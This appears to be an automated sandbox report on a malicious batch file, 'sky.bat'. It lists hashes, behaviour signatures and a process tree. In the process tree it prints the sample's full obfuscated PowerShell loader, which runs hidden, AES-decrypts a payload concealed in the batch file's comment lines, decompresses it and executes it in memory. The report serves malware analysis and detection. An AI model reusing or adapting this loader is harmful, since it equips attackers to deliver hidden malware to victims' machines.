Analysis

  • max time kernel
    43s
  • max time network
    46s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    12/01/2023, 16:32

General

  • Target

    sky.bat

  • Size

    49KB

  • MD5

    4300caa42bd8fc0c7d9ce83b19c6f1f6

  • SHA1

    ed8eedc542e02a8ab749b02f161d39bb840a589c

  • SHA256

    d329a265d4005b2cb8902d6148ff5e4477f2203bc2e476e51e5895f9be99c53e

  • SHA512

    0ebcd250ff95b3bd8058e4bc69640afec65cf91a2745e71303edc48e6066ffa44a589bc2bd060eb54a0c9bc189169757f9a0ec292a6200090e1422db5f64ed30

  • SSDEEP

    1536:WBqEwgF4HVzac6F8F2xqWa8VfXx0da57eezlV4R:1/gF41GLNxfa8VPuda57egQ

Score
8/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\sky.bat"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1176
    • C:\Users\Admin\AppData\Local\Temp\sky.bat.exe
      "sky.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\sky.bat').Split([Environment]::NewLine);foreach ($YiLGW in $eIfqq) { if ($YiLGW.StartsWith(':: ')) { $VuGcO = $YiLGW.Substring(3); break; }; };$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);$BacUA = New-Object System.Security.Cryptography.AesManaged;$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CeRsc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');$Nlgap = $BacUA.CreateDecryptor();$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);$Nlgap.Dispose();$BacUA.Dispose();$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);$bTMLk = New-Object System.IO.MemoryStream;$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);$NVPbn.CopyTo($bTMLk);$NVPbn.Dispose();$mNKMr.Dispose();$bTMLk.Dispose();$uZOcm = $bTMLk.ToArray();$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);$PtfdQ = $gDBNO.EntryPoint;$PtfdQ.Invoke($null, (, [string[]] ('')))
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:884

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\sky.bat.exe

    Filesize

    462KB

    MD5

    852d67a27e454bd389fa7f02a8cbe23f

    SHA1

    5330fedad485e0e4c23b2abe1075a1f984fde9fc

    SHA256

    a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

    SHA512

    327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

  • \Users\Admin\AppData\Local\Temp\sky.bat.exe

    Filesize

    462KB

    MD5

    852d67a27e454bd389fa7f02a8cbe23f

    SHA1

    5330fedad485e0e4c23b2abe1075a1f984fde9fc

    SHA256

    a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

    SHA512

    327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

  • memory/884-57-0x000007FEFBB41000-0x000007FEFBB43000-memory.dmp

    Filesize

    8KB

  • memory/884-58-0x000007FEF3BF0000-0x000007FEF4613000-memory.dmp

    Filesize

    10.1MB

  • memory/884-60-0x00000000025E4000-0x00000000025E7000-memory.dmp

    Filesize

    12KB

  • memory/884-59-0x000007FEF3090000-0x000007FEF3BED000-memory.dmp

    Filesize

    11.4MB

  • memory/884-61-0x00000000025E4000-0x00000000025E7000-memory.dmp

    Filesize

    12KB

  • memory/884-62-0x00000000025EB000-0x000000000260A000-memory.dmp

    Filesize

    124KB